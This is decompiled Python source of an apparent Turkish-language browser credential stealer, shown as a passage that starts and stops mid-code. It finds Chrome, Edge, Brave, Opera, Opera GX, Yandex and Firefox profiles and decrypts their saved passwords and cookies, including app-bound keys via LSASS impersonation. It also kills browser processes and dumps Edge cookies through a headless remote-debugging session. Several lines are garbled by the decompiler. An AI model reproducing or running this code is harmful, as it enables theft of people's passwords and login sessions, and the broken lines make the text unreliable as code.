return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def decrypt_edge_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_edge_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 19:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15
-16)]tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def save_cookies_netscape(name: str, cookie_file: str, key_file: str, output_path: str):
# irreducible cflow, using cdg fallback
# ***<module>.save_cookies_netscape: Failure: Different control flow
if not browser_cookie3:
return None
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookie_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookie_file, temp_cookie_path)
else:
shutil.copy2(cookie_file, temp_cookie_path)
try:
cj = browser_cookie3.chromium(cookie_file=temp_cookie_path, key_file=key_file)
with open(output_path, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
process_names = {'Chrome': 'chrome.exe', 'Edge': 'msedge.exe', 'Opera': 'opera.exe', 'Opera GX': 'launcher.exe', 'Yandex': 'browser.exe', 'Brave': 'brave.exe'}
proc_name = process_names.get(name, None)
if proc_name:
for p in psutil.process_iter(['name']):
if p.info['name'] and p.info['name'].lower() == proc_name.lower():
try:
p.kill()
except Exception:
pass
shutil.copy2(cookie_file, temp_cookie_path)
except Exception:
return None
def get_opera_cookies(output_dir=None):
# ***<module>.get_opera_cookies: Failure detected at line number 375 and instruction offset 112: Different bytecode
if not browser_cookie3:
return None
else:
opera_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Beta'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base = None
target_cookie_file = None
for path in opera_paths:
cookie_file = os.path.join(path, 'Network', 'Cookies')
if not os.path.exists(cookie_file):
cookie_file = os.path.join(path, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(path, 'Local State')
if os.path.exists(cookie_file) and os.path.exists(local_state_file):
base = path
target_cookie_file = cookie_file
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_cookies.txt')
local_state_file = os.path.join(base, 'Local State')
save_cookies_netscape('Opera', target_cookie_file, local_state_file, output_file)
except Exception:
return None
def get_yandex_cookies(output_dir=None):
# ***<module>.get_yandex_cookies: Failure detected at line number 400 and instruction offset 68: Different bytecode
if not browser_cookie3:
return None
else:
yandex_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Yandex', 'YandexBrowser', 'User Data')]
base = None
for path in yandex_paths:
default_path = os.path.join(path, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'yandex_cookies.txt')
default_path = os.path.join(base, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(base, 'Local State')
save_cookies_netscape('Yandex', cookies_path, local_state_path, output_file)
except Exception:
return None
def get_brave_cookies(output_dir=None):
# ***<module>.get_brave_cookies: Failure detected at line number 424 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
brave_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Nightly', 'User Data')]
brave_path = None
for path in brave_paths:
if os.path.exists(path):
brave_path = path
break
if not brave_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'brave_cookies.txt')
cookies_path = os.path.join(brave_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(brave_path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
save_cookies_netscape('Brave', cookies_path, local_state_path, output_file)
profiles = [d for d in os.listdir(brave_path) if d.startswith('Profile')]
for profile in profiles:
profile_cookies = os.path.join(brave_path, profile, 'Network', 'Cookies')
if os.path.exists(profile_cookies):
try:
save_cookies_netscape(f'Brave ({profile})', profile_cookies, local_state_path, output_file)
except Exception:
pass
def get_firefox_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_firefox_cookies: Failure: Compilation Error
if not browser_cookie3:
return None
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'firefox_cookies.txt')
cj = browser_cookie3.firefox()
with open(output_file, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
return None
def get_edge_key():
# ***<module>.get_edge_key: Failure detected at line number 463 and instruction offset 142: Different bytecode
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
edge_key_paths = [os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge SxS', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Beta', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Dev', 'User Data', 'Local State')]
key_path = None
for path in edge_key_paths:
if os.path.exists(path):
key_path = path
break
if not key_path:
return None
else:
try:
with open(key_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
v10_key = None
if 'encrypted_key' in local_state.get('os_crypt', {}):
encoded_key = local_state['os_crypt']['encrypted_key']
try:
backup_key = base64.b64decode(encoded_key)
if backup_key.startswith(b'DPAPI'):
backup_key = backup_key[5:]
v10_key = win32crypt.CryptUnprotectData(backup_key, None, None, None, 0)[1]
except Exception as e:
log_message(f'Edge v10 backup failed: {e}')
keys = {}
if v10_key:
keys['v10'] = v10_key
if 'app_bound_encrypted_key' in local_state.get('os_crypt', {}):
log_message('Edge app_bound_encrypted_key found')
try:
encrypted_key_raw = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
if encrypted_key_raw.startswith(b'APPB'):
encrypted_key = encrypted_key_raw[4:]
else:
encrypted_key = encrypted_key_raw
key_blob_user_decrypted = None
log_message('Attempting Edge two-stage extraction (SYSTEM -> USER)')
key_blob_system_decrypted = None
with impersonate_lsass() as imp_success:
if imp_success:
try:
res = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Edge Stage 1 (SYSTEM) DPAPI: SUCCESS')
try:
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Edge Stage 2 (USER) DPAPI: SUCCESS')
except Exception as e:
log_message(f'Edge Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Edge Stage 1 (SYSTEM) DPAPI FAILED: {e}')
if not key_blob_user_decrypted:
log_message('Trying Edge user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if key_blob_system_decrypted else encrypted_key
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('Edge USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'Edge USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message('Edge v20 Key Blob Parsed. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('Edge v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
if len(key_blob_user_decrypted) == 32:
keys['v20'] = key_blob_user_decrypted
log_message('Edge v20 Raw Key (32 bytes) found.')
except Exception as e:
log_message(f'Edge App-Bound complex extraction error: {e}')
return keys if keys else None
except Exception as e:
log_message(f'get_edge_key failed: {e}')
return None
def get_edge_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_cookies: Failure: Compilation Error
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'edge')
except Exception:
output_dir = 'edge'
os.makedirs(output_dir, exist_ok=True)
edge_paths = [os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Dev', 'User Data')]
edge_path = next((p for p in edge_paths if os.path.exists(p)), None)
if not edge_path:
return []
else:
edge_exe_paths = ['C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe', 'C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe']
exe_path = next((p for p in edge_exe_paths if os.path.exists(p)), None)
if not exe_path:
return []
else:
import subprocess
import time
import requests
import json
import psutil
if websocket is None:
return []
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
pass
time.sleep(1)
profiles = [p for p in os.listdir(edge_path) if p.startswith('Default') or p.startswith('Profile')]
for profile_name in profiles:
profile_path = os.path.join(edge_path, profile_name)
cookies_db_path = os.path.join(profile_path, 'Network', 'Cookies')
if not os.path.isfile(cookies_db_path):
continue
else:
port = 9222
cmd = [exe_path, '--headless=new', '--disable-gpu', '--restore-last-session', f'--remote-debugging-port={port}', '--remote-allow-origins=*', f'--user-data-dir={edge_path}']
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(3)
try:
res = requests.get(f'http://localhost:{port}/json', timeout=3)
ws_url = res.json()[0]['webSocketDebuggerUrl']
ws = websocket.create_connection(ws_url, timeout=3)
ws.send(json.dumps({'id': 1, 'method': 'Network.getAllCookies'}))
resp = json.loads(ws.recv())
cookies = resp.get('result', {}).get('cookies', [])
cookie_lines = []
for c in cookies:
domain = c.get('domain', '')
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = c.get('path', '/')
secure = 'TRUE' if c.get('secure') else 'FALSE'
expiry = str(int(c.get('expires', time.time() + 3600)))
name = c.get('name', '')
value = c.get('value', '')
cookie_lines.append(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{name}\t{value}')
ws.close()
if cookie_lines:
safe_profile_name = ''.join((ch for ch in profile_name if ch.isalnum() or ch in [' ', '_', '-'])).rstrip()
with open(os.path.join(output_dir, f'edge_cookies_{safe_profile_name}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(cookie_lines))
except Exception:
pass
proc.kill()
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
continue
except Exception:
pass
return None
def get_opera_gx_cookies(output_dir=None):
# ***<module>.get_opera_gx_cookies: Failure detected at line number 539 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
try:
opera_gx_paths = [os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX Stable'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data'), os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX')]
opera_gx_path = None
for path in opera_gx_paths:
if os.path.exists(path):
opera_gx_path = path
break
if not opera_gx_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_gx_cookies.txt')
cookies_path = os.path.join(opera_gx_path, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
cookies_path = os.path.join(opera_gx_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(opera_gx_path, 'Local State')
if not os.path.exists(cookies_path) or not os.path.exists(local_state_path):
return []
else:
save_cookies_netscape('Opera GX', cookies_path, local_state_path, output_file)
return True
except Exception:
return False
def get_chrome_cookies(output_dir=None):
# ***<module>.get_chrome_cookies: Failure detected at line number 567 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
try:
chrome_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
chrome_path = None
for path in chrome_paths:
if os.path.exists(path):
chrome_path = path
break
if not chrome_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'chrome_cookies.txt')
save_cookies_netscape('Chrome', os.path.join(chrome_path, 'Default', 'Network', 'Cookies'), os.path.join(chrome_path, 'Local State'), output_file)
except Exception:
return None
def extract_passwords(user_data_path, output_dir, prefix):
# irreducible cflow, using cdg fallback
# ***<module>.extract_passwords: Failure: Compilation Error
if not os.path.exists(user_data_path):
fallback_paths = []
if prefix == 'edge':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Dev', 'User Data')]
else:
if prefix == 'chrome':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
else:
if prefix == 'brave':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data')]
user_data_path = None
for path in fallback_paths:
if os.path.exists(path):
user_data_path = path
break
if not user_data_path:
return None
local_state = os.path.join(user_data_path, 'Local State')
key = get_master_key(local_state)
os.makedirs(output_dir, exist_ok=True)
try:
profiles = os.listdir(user_data_path)
except Exception:
return None
for profile in profiles:
pass
login_db = os.path.join(user_data_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, f'{prefix}_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
pass
if not enc_pass:
pass
continue
dec = decrypt_password(enc_pass, key)
if dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]'):
if not key:
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n')
except Exception:
pass
continue
cur.close()
conn.close()
if lines:
with open(os.path.join(output_dir, f'{prefix}_passwords_{profile}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
except Exception:
pass
continue
def extract_opera_gx(output_dir=None):
# ***<module>.extract_opera_gx: Failure detected at line number 585 and instruction offset 48: Different bytecode
opera_gx_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data')]
base_path = None
for path in opera_gx_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera_gx')
except:
output_dir = 'sifre/opera_gx'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'opera_gx_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]'):
if not key:
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_gx_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def extract_opera_stable(output_dir=None):
# ***<module>.extract_opera_stable: Failure detected at line number 650 and instruction offset 88: Different bytecode
opera_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Beta'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base_path = None
for path in opera_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera')
except:
output_dir = 'sifre/opera'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'opera_stable_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def extract_yandex(output_dir=None):
# ***<module>.extract_yandex: Failure detected at line number 725 and instruction offset 124: Different bytecode
yandex_paths = [os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data')]
yandex_path = None
for path in yandex_paths:
if os.path.exists(path):
yandex_path = path
break
if not yandex_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'yandex')
except:
output_dir = 'sifre/yandex'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(yandex_path, 'Local State')
if not os.path.exists(local_state):
return None
else:
key = get_master_key(local_state)
try:
profiles = os.listdir(yandex_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(yandex_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'yandex_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'yandex_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def decrypt_login_data(master_key, enc_value):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_login_data: Failure: Compilation Error
if not enc_value:
return '[Boş Veri]'
if not master_key:
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Master Key Yok]'
if isinstance(master_key, dict):
if enc_value.startswith(b'v20'):
m_key = master_key.get('v20')
else:
m_key = master_key.get('v10')
else:
m_key = master_key
if not m_key:
return '[Master Key Eksik]'
else:
if not enc_value.startswith(b'v10') and (not enc_value.startswith(b'v11')) and (not enc_value.startswith(b'v20')):
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
iv = enc_value[3:15]
payload = enc_value[15:]
try:
ciphertext = payload[
-16)]tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if enc_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES ERROR] {str(e)}'
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Bilinmeyen Şifreleme]'
def process_chrome_data(output_root):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_data: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
local_state_path = None
for chrome_path in chrome_paths:
test_path = os.path.join(chrome_path, 'Local State')
if os.path.exists(test_path):
local_state_path = test_path
break
if not local_state_path:
return None
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
if 'os_crypt' not in local_state:
return
master_key = get_master_key(local_state_path)
if not master_key:
return
process_chrome_passwords(output_root, master_key)
process_chrome_cookies(output_root, master_key)
except Exception:
return None
def process_chrome_passwords(output_root, master_key):
# ***<module>.process_chrome_passwords: Failure detected at line number 785 and instruction offset 86: Different bytecode
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
passwords_output = os.path.join(output_root, 'Passwords')
os.makedirs(passwords_output, exist_ok=True)
try:
profiles = os.listdir(user_data_dir)
for profile in profiles:
login_data_path = os.path.join(user_data_dir, profile, 'Login Data')
if not os.path.exists(login_data_path):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
temp_login_path = os.path.join(temp_dir, 'LoginData')
try:
if shadow_copy:
shadow_copy(login_data_path, temp_login_path)
else:
shutil.copy2(login_data_path, temp_login_path)
except:
shutil.copy2(login_data_path, temp_login_path)
with sqlite3.connect(temp_login_path) as con:
cur = con.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
if rows:
filename = 'chrome_passwords.txt' if profile == 'Default' else f'chrome_{profile}_passwords.txt'
with open(os.path.join(passwords_output, filename), 'w', encoding='utf-8') as f:
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
password = None
if master_key and (enc_pass.startswith(b'v10') or enc_pass.startswith(b'v11') or enc_pass.startswith(b'v20')):
password = decrypt_login_data(master_key, enc_pass)
if (not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]')) and windows:
try:
password = windows.crypto.dpapi.unprotect(enc_pass).decode('utf-8', errors='ignore')
except Exception:
pass
if not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]'):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
password = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
password = '[Çözülemedi]'
if password and (not password.startswith('[Çözülemedi]')):
f.write(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {password}\n\n')
except Exception:
continue
except Exception:
return None
def process_chrome_cookies(output_root, master_key):
# ***<module>.process_chrome_cookies: Failure detected at line number 846 and instruction offset 86: Different bytecode
